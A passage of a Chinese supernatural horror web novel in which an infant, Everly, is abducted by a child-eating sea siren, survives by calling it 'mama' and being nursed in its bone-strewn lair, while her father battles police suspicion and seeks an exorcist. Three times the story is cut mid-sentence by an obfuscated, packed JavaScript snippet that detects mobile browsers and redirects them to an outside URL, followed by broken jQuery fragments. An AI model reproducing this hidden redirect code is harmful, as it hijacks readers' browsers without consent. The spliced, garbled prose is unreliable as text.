透过凌乱如海藻的黑发,埃弗莉看到一双满含怨毒的猩红眼眸。像淬了毒的匕首,像吐着信子的毒蛇,像涌动沸腾着无尽怨恨的血池,女人趴在移门上,就这样睁大眼睛,一瞬不瞬盯着她,盯着她,盯着她……强烈的恐惧从心底生出,埃弗莉再也忍不住,张口发出一阵歇斯底里的哭叫:“哇啊啊啊啊啊啊!” 埃弗莉是个很乖的宝宝,从不乱哭乱喊,非常好养。出生以来,她还是第一次哭得这样凄厉。 画室中,谢利听到远远传来的哭声,有些不安地停住了画笔。这几天女儿有些反常,变得比以往焦躁许多,动不动就对他拳打脚踢,现在又哭得这样悲惨……她是不是生病了呢? 生病需要住院,想起医院昂贵的治疗费,谢利立时坐不住了。 他一把丢掉画笔,脚步匆忙,抬步便往客厅的方向赶。刚走到客厅门前,还没来得及看清屋里发生了什么,谢利首先闻到了一股夹杂着海腥味的恶臭。 这股与尸臭类似的气味勾起了他深埋的回忆,不好的预感越发强烈,谢利不敢耽搁,脚下加速,快步冲到客厅。 他看见了永生难忘的一幕—— 客厅的玻璃移门洞开着,门外的雾气肆无忌惮飘了进来,笼罩了大半的客厅。白雾中,一个体型庞大、人身蛇尾的恐怖女人正探出身体,朝沙发上哭嚎不休的女婴伸出白骨森森的糜烂手爪。 “不!埃弗莉,不!” 顾不得想突然出现的怪物究竟是什么,在本能驱使下,谢利大喊一声,脚下用力,朝沙发的方向一个飞扑,试图抢在女妖前抱住自己的孩子。 他抱了个空。 女妖的速度快得不可思议,不过眨眼,埃弗莉已经被那只手爪攥住后脖领,拎到了女妖的面前。 “嘶——!”猎物到手,海中女妖仰头,张口发出一阵古怪的吼叫。 吼毕,不再理会冲上前试图抢人的谢利,她垂下头,用冰冷的手臂紧紧缠住埃弗莉,水桶粗的蛇尾猛地一摆,矮身潜入迷雾,很快就化进雾里,消失不见。 …… 埃弗莉觉得自己也许大概可能maybe是要寄了。 女妖的手像钳子一样,抓她抓得非常紧,根本没有挣脱的可能。 她带着埃弗莉,在空无一人的街道上爬行了一阵,来到一条接近干涸的小河边,从裸/露在外的一处下水道洞口钻了进去。 洞口直径只有一米,对女妖庞大的体型而言显得有些狭窄。但女妖并不嫌弃环境的恶劣,她把埃弗莉的位置从腋下调整到了胸前,双手交叉,上半身一弯,毫不犹豫地钻了进去。丰满硕大的濡房垂落而下,小小的女婴刚好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566117|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被夹在两团腥臭的脂肪之间,交缠的双臂则成了确保安全的最后屏障。埃弗莉由此得以避开下水道地面凹凸不平的铁钉、碎玻璃、塑料片等垃圾,全须全尾通过了这段路。 等一妖一人从下水道另一端出来,位置已经到了海边。 微凉的海风挟着海洋的腥味,吹拂在埃弗莉身上。她下意识蜷缩身体,感觉到有一些冷。 这里是一处怪石嶙峋的礁石滩。女妖对此处很熟悉,她长长的蛇尾十分灵活,表面覆盖着坚硬如铁的青黑色鳞片,在突起的石块石柱上或卷或缠,所过之处,礁石表面突起的细小尖刺纷纷断裂。 如此穿行了大约七八分钟,四周的礁石越来越少,地面上出现了暗色的海水。 埃弗莉提心吊胆,眼睁睁看着女妖的尾巴随着距离的推进一点点沉入水中。陆地在逐渐远离,冰冷的海水淹过尾巴,逐渐抬高到了女妖腰部。即便如此,女妖前进的速度依旧不曾减慢,反而有了越发加快的趋势。 埃弗莉猜测,海中女妖的巢穴应该藏在远离陆地的大海里。她觉得自己这回死定了,且不说现在已经是深秋,海水的温度偏低,柔弱的婴儿不宜久泡,光只是呼吸问题,也能要了她的小命! 想到这,埃弗莉心中浮现浓浓的绝望。 然而,出乎意料,当海水漫至女妖的胸前,眼看就要把埃弗莉打湿时,海中女妖忽然高高抬起头,上半身倾斜着向后仰倒,埋在水中的蛇尾朝上弓起,抬出海面用力拍打了一下,再顺势一个灵巧的翻转——轻柔的水波在周围荡起,等埃弗莉回过神时,女妖已经调整完姿势,从之前的直立涉水改为了面朝上漂浮的仰泳。 埃弗莉就伏在女妖丰硕的胸脯上,除了先前蛇尾拍水溅出的水花,从头到尾连一星海水都没沾到。 “咕噜……” 被海水包围似乎让女妖感到非常舒适,埃弗莉听到她从喉间发出了一阵小动物般愉悦的呼噜声。青黑色的蛇尾长长一条,在水中优雅地来回摆动,漆黑的尾巴尖偶尔露出海面,将四周的海雾搅得乱成一团。 画面一时间竟有些惬意的悠闲。 “哼哼哼……哼……啦啦啦……” 游着游着,女妖忽然开始哼歌。和嘶哑的嗓音不一样,歌曲的旋律十分柔缓,一边哼唱,女妖按在埃弗莉背上的手爪一边不轻不重地拍打。如果不是知道自己身陷险境,埃弗莉有那么一秒差点以为自己这是回到了前世母亲的怀抱里。 母亲……对,母亲。 无论是执着于孩子的行为,还是女妖臃肿膨大的胸脯,都暗合了“母亲”这一身份——难道海中女妖是个失去了孩子的母亲? 可这也不对啊,有哪个母亲会用那样怨恨恶毒的目光看孩子,还把抓到的孩子全部吃掉呢? 埃弗莉的眉越皱越紧,有种坠入谜团,无法挣脱的感觉。 而此时,女妖已经游到了海中央一团高高矗立的阴影下。她单手抓住埃弗莉,另一手深深嵌入礁石一角,尾巴用力往下一顶,便借力轻巧地爬上了高出水面的礁石堆。 埃弗莉趴在女妖身上,抬起头仔细观察,发现这里居然是海中央的那座废弃灯塔! 11. 女妖 海中女妖抱着埃弗莉在礁石间一路穿行,最后在灯塔旁一处乱石堆下找到一个隐藏的洞穴,熟门熟路钻了进去。 洞穴很深,洞道四壁残留着明显的利爪刨挖痕迹,看大小和深度,应该是女妖的杰作。在幽深的洞穴里一路向下,爬行了大约半分钟,埃弗莉眼前豁然开朗,出现了一处半垮塌的地下石室。 石室内壁和顶部生长着某种不知名的发光植物,色泽幽蓝,随呼吸的频率一明一暗,它是室内仅有的光源。借着这细微的光,埃弗莉看到女妖抱着自己穿过一地狼藉,来到了石室正中央。 这里是一处高出地面约半米的石头平台。平台的损坏程度不高,借着顶端植物的微光,还依稀能看到残留在平台表面的浮雕花纹。一张小小的石桌歪歪斜斜摆放在平台上,埃弗莉起初以为那张桌子是暗红色的,直到女妖难耐地“嘶嘶”低叫着,一把将她按在了冰冷坚硬的石质台面上。 浓烈的血腥味,夹杂着潮湿腐臭的气息扑面而来,埃弗莉与石桌紧贴的脸颊感到一阵黏腻的冰凉。与此同时,在她的上方,女妖已经俯下身,朝她张开了血盆大口—— 啊,是这样……原来台面上的暗红是血啊…… 这样的念头在心中一闪而过,死亡当前,埃弗莉发觉自己竟意外的冷静。 试试吧,她想,放手一搏然后死去,总好过什么也不做,羔羊一样引颈就戮…… 从思考到做下决定,只在短短刹那间。当女妖沾满涎水的锋利尖牙冲至近前,眼看下一秒就要刺入埃弗莉颈部娇嫩的皮肤,将她整个人撕得粉碎时,埃弗莉开口了。 她抬眼注视着近在咫尺的海中女妖,用发育不全、还带着颤抖的嗓音,含糊但坚定地喊出了那个熟悉又陌生的音节:“ma……ma!” 像一盘被忽然按下了暂停键的录像带,女妖扑咬的动作猛地停顿。 “啊……啊呃……”埃弗莉听到她喉间发出了古怪的咕哝。 看起来似乎有用…… 根据埃弗莉前世曾看过的科普,全世界有几千种语言,但有一个词,几乎在每一种语言中都有着相似的发音,那就是人们用以呼唤母亲的“mama”。有学者认为,这是人类婴儿从出生就会发出的“a”音,结合了吮吸母乳时口腔封闭压缩的“m”音形成的,代表了所有哺乳动物共有的、最核心的母婴间情感联结。 海中女妖显然也能听懂“mama”一词代表的含义。她微微歪头,猩红眼眸中浮现一抹迷茫。 女妖的利爪此时还按在埃弗莉身上,层叠的鲨齿随时能改变主意,咬合深嵌,拿走埃弗莉的性命。还没真正安全,埃弗莉不敢放松,见女妖面露挣扎,她赶忙趁热打铁,又接连朝女妖喊了好几声妈:“mama……mama,mamamamamama!” 越喊越熟练,越喊越大声。 而海中女妖,也像被这持续不断的呼喊唤出了潜藏的母性本能。她眼底的猩红褪去些许,凑近埃弗莉,仔细打量面前的小婴儿。丑陋的面容上,怀疑与挣扎的神色彼此交织,将青白肿胀的脸衬得越发阴森恐怖。 “%#@……”埃弗莉听到她用粗粝的嗓音飞快说了句什么。 发音很短,像某种呼唤。 埃弗莉虽然听不懂女妖所使用的语言,但她大概能猜到,对方应该是在喊自己。所以她强忍住害怕,一边继续喊“mama”,一边朝对方张开双臂,做出了求拥抱的姿势。 女妖呆住了。 “啊……呃……科、科科……” 她的喉头像卡着什么坚硬的东西一样,不断发出奇怪的“科科”声。与此同时,女妖的身体也开始不停颤抖。“啪嗒”,一滴冰凉的水液落在埃弗莉脸颊。因为室内太黑,埃弗莉起初以为那是洞穴顶部的滴水,然而,当第二、第三滴水珠接连砸落在她身上,埃弗莉终于发现不对。 那不是洞穴滴水,而是从女妖眼中滴下的眼泪。 海中女妖居然在哭! 大量的水液积蓄在女妖狰狞外突的眼球表面,又顺着她的下颌向下滚落,一滴滴砸在下方的埃弗莉身上。泪水冰凉,和女妖一样没有温度,埃弗莉却震撼地从中感受到一种比火山熔岩更灼热更炽烈的情感。 那种感情名为“母爱”。 “%#@!” 海中女妖重复了一遍先前的呼喊,这次的声音带着笃定,还有失而复得的喜悦。她松开了按压埃弗莉的手爪,转而用一个标准无比的抱孩子姿势将女婴抱到了她的臂弯,垂下头,爪子尖端轻轻拍抚怀中的婴儿,眼中满是柔情与慈爱。 长长的黑发帘幕一样,顺着女妖的肩膀垂落而下,铺盖在埃弗莉身上。先后在下水道和礁石滩打过转,卷曲的发间还夹杂着树叶、纸片和碎石等各种垃圾,混合了未干的海水,黏腻又肮脏。这道由脏发织成的帷幔,还有女妖低低的哼唱,成了埃弗莉昏睡过去前最后的记忆。 …… 埃弗莉做了个梦。 小婴儿也是会做梦的。梦中,她遇到了一头青面獠牙的怪物,怪物追着她跑了一路,她跌跌撞撞,用尽了一切办法,始终无法逃脱。最后,她被怪物追上,活生生撕咬,又在还未断气时被架到了火上烧烤。 从混乱的梦境中惊醒,埃弗莉发现不是错觉,她确实浑身滚烫,还喉咙焦渴,四肢无力,头重脚轻。 因为她发烧了。 身为早产儿,她的身体素质本来就一般,加上渣爹平时照料得不精心,能健健康康成长到现在,全亏了埃弗莉有个成年人的内芯,懂得自律和自我照顾。昏睡之前,她先是被海中女妖的出现吓到,又经历了钻下水道、过礁石滩、横穿大海等一系列过程,小身板受不住刺激,会生病一点也不意外。 但这场病来得实在太不巧了。 埃弗莉此刻正身处海中央的隐蔽石室中。这里没有食物和饮水,没有厚实保暖的衣物,也没有现代药品,只有一头无法沟通的危险女妖,和满室阴冷潮湿的空气。对一名小婴儿而言,这环境着实不适宜生存。 她在海中女妖的怀中动了动脑袋,偏头观察周围环境。 女妖看起来完全把埃弗莉当作了自己的孩子。即使在埃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566118|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弗莉睡觉的时间里,她也没有放下过怀中的婴儿。 她抱着埃弗莉,蜷曲蛇尾,倚坐在石室的一角,喉间持续不断哼唱着柔和的摇篮曲。曲子是埃弗莉在海面上听女妖哼过的那首,旋律优美舒缓,像微风拂过林间,暖阳亲吻花瓣。石室的地面向下塌陷,地底的海水漫灌上来,在此处形成了一个漆黑的水坑。女妖就坐在水坑边,长尾末端浸泡在海水里,伴着歌曲的节拍,悠闲地来回拨动水流。 画面看上去很温馨……前提是忽略散落在四周的大片白骨。 看到那些骨头,埃弗莉不忍地闭了闭眼。即使经历过五月花公寓烂肉人的视觉冲击,骤然直面如此大量的人类遗骸,她还是感到了强烈的不适。这源于人类对死亡的本能恐惧。 这附近可能是女妖的进食场。以水坑为中心,举目望去,周遭的地面上堆积着无数白森森的人类骨骼。看头骨的尺寸,应该都是些婴幼儿,骨头有新有旧,压在下面的早已腐烂破碎,与地面融为一体,最上面一层却还保持着骨骼结构的完整。结合普卡蒂历史博物馆里看到的信息,不难猜出,这些遗骨就是数百年间在普卡蒂失踪的孩子。 女妖偷孩子是真的,吃孩子也是真的。因为这些骨头全都七零八落,上面还残留着大量啃咬的痕迹。正常死亡的人骨头绝不可能碎成这样。 埃弗莉至今没有想明白,为什么海中女妖明明自己也是名母亲,却要对别人的孩子下此狠手。是因为自己的孩子丢了,所以不愿看到别人的孩子承欢膝下吗? 思索间,一阵冷风从不知哪条石缝吹来,高烧中的埃弗莉浑身发冷,瑟缩了一下。她知道时间不等人,忙强迫自己收起杂念,瞪大双眼,借着苔藓的微光,仔细在尸骸之间寻找想要的东西。 终于,在一具看着比较“新”的尸骨旁边,她发现了目标——一件被扯烂的浅棕色呢绒外套。 在恶劣的环境放久了,外套已经有些褪色。浅棕的布料上沾有大量暗红的污渍,无声诉说着衣物主人曾遭遇的残酷对待。但除去这些,这件外套瞧着宽大又厚实,完全足够将埃弗莉整个人包裹进去,让她不再遭受寒风的吹袭。 “啊……啊啊……” 埃弗莉朝外套的方向伸手,嘶哑的嗓子里发出急急的催促声。 女妖的哼唱停止了。她将脸凑近,关切地观察了一会儿怀中的女婴,不知是物种不同存在沟通壁垒,还是因为女妖缺少育儿经验,她没能领会埃弗莉的意思。见埃弗莉“啊啊”喊个不停,女妖思考了一会儿,竟认为孩子是饿了。 “%#@……”她咕哝着,怜爱地低头,拿冰冷濡湿的脸颊蹭了蹭埃弗莉的额头,随后,女妖举起手爪,捧住一边沉甸甸的濡防,将顶端凑近了女婴的嘴巴。 埃弗莉惊恐地瞪着凑到嘴边的物体。 且不说她留有前世记忆,对饮用母乳这件事本身就存在抗拒,光就海中女妖的形态——浑身浮肿,满身伤痕,整个人如同在水中浸泡至巨人观的死尸,那处的皮肤同样青白一片,顶端渗着腥臭的黄白色脓液……这长得完全就不是能下嘴的样子啊! 12.女妖 埃弗莉闭紧嘴巴,脑袋偏开,坚决拒绝递送到嘴边的东西。 “啊……啊啊……” 女妖困惑地咕哝了一声,坚持不懈,又把那物向前推了推。埃弗莉躲闪不及,感到一团冰凉滑腻的物体压在自己脸颊上。流着脓液的顶端湿润又黏糊,抵到了她的嘴唇,带来一股淡淡的腥臭,让人联想到漂在水面的死鱼。 她有些想吐。 “#%¥……” 看埃弗莉迟迟没有动作,女妖显得有些着急。她不是人类,学不来人类母亲的温柔诱哄,小婴儿抗拒吃奶,她就伸出手爪,用漆黑锋利的尖端去抠、去掰埃弗莉的嘴唇。婴儿的皮肤娇嫩无比,动作间,埃弗莉的脸颊不小心被爪子划破,朝外渗出鲜红的血液。 看到那血痕,女妖有片刻的呆滞。她看着自己沾染血液的爪尖,像是被鲜血刺激,忽然仰起头发出一声凄厉的嘶吼,猩红双眼中飞快浮现一抹暴虐。“啪啪”的巨响传来,埃弗莉分心去看,发现女妖泡在水里的蛇尾跟抽疯了一样,正在拍打池边的岩石和墙面,粗壮的尾部每一次落下,都激起一阵地动山摇,碎石滚落。 埃弗莉感觉不妙。 抠挖她嘴唇的动作在加大,起初还只是用爪子尖端,如今已经演变成了用整根爪子去戳刺,而女妖在这过程中居然是笑着的,病态的笑容越扩越大,仿佛要裂开到耳根,露出下方尖利的鲨齿,和看不到尽头的咽喉。 当爪子尖划破嘴唇,埃弗莉吃痛,没忍住发出了一声闷哼。 这细如蚊蚋的哼声,如一记惊雷短暂唤回了女妖的理智。女妖停住了抠挖的动作,她似乎正在与脑内某个看不见的存在作斗争,眉心皱起,表情狰狞,浮肿的面容上浮现出强烈的痛苦与挣扎。 “啊!啊啊啊!” 海中女妖张口吼叫,头颅先向下垂落,再猛地抬起,将自己的后脑勺重重砸在后方岩壁上,一下、两下、三下……每一下都无比用力,直砸得碎石与黑红色□□四处飞溅,几次之后,埃弗莉甚至听到了骨骼破碎的“喀嚓”声。 颈部以上是残酷血腥的自虐景象,颈部以下,女妖的怀中,场景却回归了一片温情。抠挖血肉的手爪乖觉地收回,改为托住怀中的女婴,像往常一样,温柔地在埃弗莉的背上轻轻拍抚。 继续往下,硕大的蛇尾仍在四处乱砸。它拍碎了水岸的岩石,尖端顺着惯性,搅扫在岸边堆积的白骨山上。所过之处,脆弱的骨头纷纷碎裂,变成一地凌乱的骨片。 极度割裂的画面,透着让人心惊的诡谲。 “mama……mama!”埃弗莉真的被性情大变的女妖给吓到了。她强忍着嗓子的疼痛,用最大音量持续不断喊着“妈妈”。 婴儿稚嫩的呼唤像一束明光,穿破迷雾降落在混沌一片的精神世界。狂暴的女妖逐渐停止了动作,她低头,茫然注视着怀中的女婴,正对上小婴儿清澈无辜的碧蓝眼瞳——它是那样小小的一团,温暖、柔软又芬芳,花瓣一样的嘴一张一合,吐出一声又一声满含眷恋的“mama”。 它在喊她“mama”。 mamamamamamamama……孩子孩子孩子孩子!这是她的孩子,她的孩子她的孩子她的孩子! 时隔数千年,她的孩子终于回来了! 女妖又开始哭了。她哭起来是没有声音的,鲜红的眼珠像连通了两汪泉眼,大量的泪水混杂着无穷无尽的柔情与爱意,从泉眼喷涌而出,冷冰冰打在埃弗莉额头上,为浑身滚烫的女婴带来一丝清凉。 笼罩在海中女妖周身的残酷与暴虐被泪水洗濯一空。 柔缓又好听的哼唱声再度响起,海中女妖轻轻抚摸着埃弗莉的背,重又变回了之前那个慈爱的母亲。 埃弗莉真是怕极了女妖失控时的样子。也因此,当海中女妖满是慈爱地捧起濡防,又一次将它递到埃弗莉嘴边,想给她喂食时,埃弗莉没再拒绝。 即便心中无比抗拒,无数次想要将腥臭苦涩的乳汁吐出,埃弗莉依旧紧闭双眼,强迫自己将它们尽数咽下了。她不知道什么举动会激怒女妖,为了自己的性命着想,只能尽可能顺着对方。 女妖的乳汁和她本身一样,凉凉的,不带丝毫人类的温度。即便气味难闻,还带着古怪的黏稠口感,当它凉丝丝划过咽喉,顺着食道进入胃部,却成功抚平了埃弗莉腹中的灼烧感。 埃弗莉直到此刻才意识到,被掳走不知多久,她竟早已饥肠辘辘。 女妖体型庞大,乳汁也很富裕。埃弗莉起初只想随便喝上两口,权作对女妖情绪的安抚,可她的身体并不这样想。大约是饿得狠了,加上目前在发烧,需要大量的水分和能量,一旦开始了进食,埃弗莉竟完全无法控制自己吮吸的动作。 “咕嘟咕嘟……” 她抱着面前的柔软,贪婪地吸吮着。如果此时靠近埃弗莉,甚至能听到她咽喉蠕动时急促的吞咽声。 女妖歪着头,安静地倚靠在石壁上,静静感受着胸前的动静。喂食的体验令她异常着迷。那种被需要,被依恋,被索求的感觉,让深埋的母性本能被彻底激发。 不知不觉,猩红的眼眸浮现水光一般的柔情,托在女婴背后的手也开始有规律地温柔拍抚孩子的背。浓厚的母爱正从她身体的每一个毛孔向外渗出,同化、诱导、改造着女妖的身体,促使她将最好的一切汇集到一处,借由流动的液体,一点点传递给她的孩子。 “啊啊……哼哼哼……” 曾一度暂停的哼唱重又继续,在封闭的石室里反复回荡。 舒缓的旋律钻入埃弗莉耳中,女婴张嘴,秀气地打了个哈欠,进食的动作逐渐放缓。 肚子已经饱了。 并且,不知道是不是腹中有了食物的关系,困扰埃弗莉的高热与酸痛也减缓了许多,让她不再像先前那样难受。 张嘴又打了一个哈欠,倦意袭来,女婴吐出濡头,顺从本能朝前趴卧,双手握拳蜷在胸口,很快便闭上眼睛,沉沉睡去。 …… 埃弗莉睡了长长的一觉。 再次睁开眼的时候,烧已经退了。身体像浸泡在温泉里一样,暖洋洋的,哪怕没有裹外套,也没感觉到一丝寒冷。再试着甩动胳膊,踢蹬双腿,动作竟格外有劲,再看不到一丝先前的孱弱。 这健康到堪称健壮的状态,绝不是简单睡一觉能达到的。 当埃弗莉的目光划过女妖胸前,看到对方萎缩的一边濡防时,她的目光顿了顿。那正是她昨日——也许并非昨日,没有时钟,埃弗莉的时间感早已经混乱——吮吸过的那半边。相较另一半,它的体积缩小了一小圈。 埃弗莉由此猜测,女妖的母乳中可能蕴含了某种特殊的成分,增强了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568356|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的体魄。这让她的观感一时间相当复杂,一方面,埃弗莉畏惧女妖,因为这是个食人的妖物,害死了无数的孩子,还随时随地可能发狂,可另一方面,当女妖仅仅只是个母亲时,她又是温柔慈和的,让埃弗莉不自觉想起前世的母亲,哪怕已经遗忘了对方的相貌,可那种对子女无条件的呵护与奉献,却是相通的。 “啊啊……啊……” 看到埃弗莉睁开眼,女妖面露喜悦。她“啊啊”叫着,将另半边濡防塞到女婴嘴边,积极地想给埃弗莉喂奶。 埃弗莉没敢立刻拒绝。她强忍不适,叼进嘴里先喝了两口。味道依旧难以描述,身体却对这种高能量饮料接受度良好,甚至还想再多喝点。不过埃弗莉的当务之急不是填饱肚子,她有更重要的事情要解决,已经快到极限了,再不赶紧…… 用顽强的意念强迫自己吐出濡头中断进食,埃弗莉在女妖怀中不安分地扭动,小手不断往自己腿间指,同时口中模仿水声,发出接连不断的“嘘”。 拟声词比想象中好用。在埃弗莉不懈的努力下,女妖理解了她的意思,她用手爪粗暴地撕开糊满马赛克早就吸收饱和的纸尿裤,随手往地上一丢,然后扭动蛇尾,把小婴儿拎到了远离黑水池的另一处小水坑上。 “嘘……嘘嘘……”她甚至无师自通,模仿埃弗莉的样子,发出了很多家长把尿时会用的拟声词。 埃弗莉:“……” 充满尴尬与羞耻,她在小水坑上完成了释放。 女妖自己不爱干净,头发脏得像鸡窝,却本能地知道为埃弗莉清理秽物。她把释放完的小婴儿抱回到惯常栖身的黑水坑边,拎着埃弗莉的胳膊,将小婴儿下半截身体浸泡进海水中,烫毛肚一样抖搂了几下。 深秋的海水冷冰冰的,冻得埃弗莉浑身一哆嗦。 在这样粗糙的育儿手法下,出水后她依旧活蹦乱跳,身体暖得像小火炉,都要仰赖女妖喂她的那口奶。 知道这是能让自己体质增强的好东西,当女妖又一次给她喂食时,埃弗莉没有再抗拒。她乖乖含住了顶端,大口吮吸,直到腹内传来鼓胀的饱腹感。 “卟卟……” 吃饱喝足,又解决了人生大事,她在女妖怀里躺了会儿,开始思考当下情况。 对于未来,埃弗莉还很迷茫。她不知道渣爹会不会想办法来救自己——她以为自己和谢利的父女情很淡薄,没想到女妖把她抓走时,渣爹竟表现得意外勇敢。不过,就算渣爹没有放弃寻找她,能不能找到灯塔下这处隐秘的石室也得打个大大的问号,更别提此处还盘踞着一头凶暴危险的海中女妖了。 总之,埃弗莉可不敢把希望压在渣爹的身上。她需要自救。 目前看来,因为把自己当成了她的孩子,海中女妖对她还是很不错的。但女妖的情绪并不稳定,比如昨天,在喂奶的时候女妖就突然暴走了,差一点弄伤埃弗莉。埃弗莉觉得,想要从这里平安逃走,自己首先得摸透女妖的脾气,了解对方的底线在哪,什么情况下会发狂。 她将目光移向了石室中央的平台。 那样平整的台面,还有表面的浮雕、中央的桌子,都不是女妖能造出来的东西。 ——有人因什么目的,在灯塔下打造了这个石室。 直觉告诉她,关于海中女妖的种种疑问,答案很可能就在那里。 13.女妖 “啊……啊啊……” 小婴儿在女妖怀中侧转过身体,眼巴巴望着石台的方向,胳膊挥挥,作出想要过去的样子。 要让海中女妖理解她的意图并不容易。 在用不同的姿势先后尝试了三次,均被对方误解为肚子饿,喜提奶水若干后,第四次,埃弗莉尝试在祈使用的语气词前加上“mama”,并将视线在女妖与石台间来回转了好几轮。这一回,她总算成功让女妖了解到,小宝宝想要去石台。 “%#¥……” 海中女妖低头蹭蹭埃弗莉的脑门,长尾一甩,拨开满地散落的骨头片,抱着小婴儿来到了石台前,并在女婴急切的示意下,迟疑着将小婴儿放在了面前的石台上。 婴儿脱手,怀中骤然一空。强烈的失落感让女妖感到十分焦虑,她“啊啊”叫着,五官扭曲成一团,下意识就想伸出手把埃弗莉重新捞回怀里。 有昨日暴怒的前车之鉴在,埃弗莉不敢抵抗得太明显。看女妖伸手来捞,她不仅没有闪躲,还倒腾着有力了许多的胳膊腿,爬行两步,主动往女妖的怀里扑去——女妖伸出的手爪刚好在此时来到埃弗莉背后,她顺势往前一揽,一下就稳稳将女婴抱了个满怀。 “咯咯……”埃弗莉环着女妖脖子,用尽毕生演技,朝女妖发出一阵快乐的笑声。 无忧无虑的笑声感染了女妖。她裂开嘴唇,尖牙张开,涎水拉出长长的细丝,也露出了无比狰狞的笑。 埃弗莉趴在女妖怀里笑了会儿,感觉对方的情绪已经平复,她又一次伸出胳膊,朝女妖表露出想去石台玩的意思。 这一次,女妖只短暂犹豫了一下,就松开了手。 她有些享受孩子扑进自己怀中笑闹的过程。 但分离依旧是让女妖焦虑的。埃弗莉在石台上爬了两步,感觉背上扎扎的,像有芒刺在钉一样,转头,果见女妖正压低身体,伏在石台一瞬不瞬盯着自己,猩红的眼中戾气丛生,甩动的蛇尾满是烦躁。 时间不过稍久一些,她就不耐烦了。 埃弗莉当机立断,立刻转身快爬几步,一下扑进女妖的怀抱。 如是重复了七八次,女妖终于在埃弗莉的有意训练下,对“松开怀抱”这一行为脱敏,能稍微放下埃弗莉让她自己玩一阵子了。不过,她依旧会死死看着埃弗莉,决不允许小婴儿离开她的视线范围。 埃弗莉打了个哈欠。 和女妖打交道意外的累。无数次重复爬行、前扑、傻笑等动作,消耗了她所有的精力。叼着女妖送来的真·奶嘴喝饱肚子后,埃弗莉安详闭眼,决定等睡醒再继续。 …… 正当远在海中石室的埃弗莉使尽了浑身解数,想让女妖学会“放手”,让自己有机会探索石台时,普卡蒂镇的家中,谢利也在经历一场艰苦卓绝的“战斗”。 斗争的对象是两名警察。 在埃弗莉被女妖抓走后,谢利于慌乱之下,做了个绝大多数普通家长都会做的决定——报警。事实证明,这个决定错得离谱。 驻守在普卡蒂的镇警是从其他城市调来的,他们不在这里长大,没经历过此地文化的熏陶,自然不会相信这世上存在什么会偷孩子吃的女妖。听谢利说自己的女儿被怪物抓走,他们的第一反应是谢利嗑药嗑嗨了。 给这位愤怒的父亲做了毒检,确认他意识清醒,也没有精神疾病后,警察们又转而开始怀疑,埃弗莉是被谢利不小心或者蓄意弄死了,担心被人发现,谢利才故意报警,想以此洗脱自己的嫌疑。 毕竟——嘿,女儿被海中女妖抓走什么的,这也太扯了吧。编谎话编成这样,谢利的真的很可疑啊! 为了证实自己的怀疑,警方搜寻了屋子各处,检查了屋里的刀具和所有锋利的东西,连画室的油画刀都没放过。他们里里外外翻找了一圈,自然什么也没找到,可警方依旧用怀疑的目光盯着谢利,认为他是个行走的嫌疑人。 谢利简直气得要吐血,他想轰警察走,自己去找埃弗莉,可这话听在警察们耳中,约等于谢利要找机会处理尸体。他们不仅没有离开,反而像牛皮膏药一样黏住了谢利,怎么甩也甩不脱。 儿童失踪寻回的黄金24小时就这样在警察们无意间的添乱下飞快流逝。时间过得越久,埃弗莉生还的可能性越低,一想到女儿此刻正在不知道哪里受苦、甚至可能已经死亡,谢利便感到心如刀割。 他确实不是个称职的父亲,但那毕竟是他和亡妻仅有的血脉,谢利又怎么可能什么也不做,坐视她死去呢? 想起在博物馆中看过的故事,谢利孤注一掷,决定寻找驱魔师的帮助。 他唯一知晓的一名驱魔师,就是给五月花公寓驱魔的威斯特。要拿到对方的联系方式不难,找公寓的房东就行,难的是要凑出对方的佣金—— “……你说女妖吗?这种神话生物和一般的恶灵不一样,很难对付,即便是我也没有杀死她们的把握……当然,我可以试一试,不过价格肯定要比寻常单子贵上一些。” “贵一些是多少?” “5万米刀。” 听到这个数字,谢利眼前一黑。 别说5万,他目前所有家当加一起连5000米刀都没有!人家驱魔人也不傻,接单就要收一半订金,也就是2.5万米刀,付不起订金,他连耍心机把人骗过来先干白工再筹钱都做不到! 可要谢利放弃,他又实在不甘心。 哪怕平时多有嫌弃,也不止一次产生过把孩子送人的想法,可这一夜,他在床上翻来覆去,眼前出现的却全是埃弗莉的脸。他看见她用清澈无辜的蓝眼睛看着他,无声询问:爸爸,你要放弃我吗?爸爸,你要看着我死掉吗?爸爸,爸爸,爸爸? 受了一晚的良心拷打,第三天清晨,谢利鼓足勇气拨通了岳父的电话。 老约翰曾是德怀特州警局的一名警探,从业多年,业务娴熟,退休之后,每年仍能收到大笔退休金。虽然为了维持他那可笑的“末日生存主义”生活,老约翰平日的花销很大,但谢利觉得,只是5万米刀,对方未必拿不出。 他赌赢了。 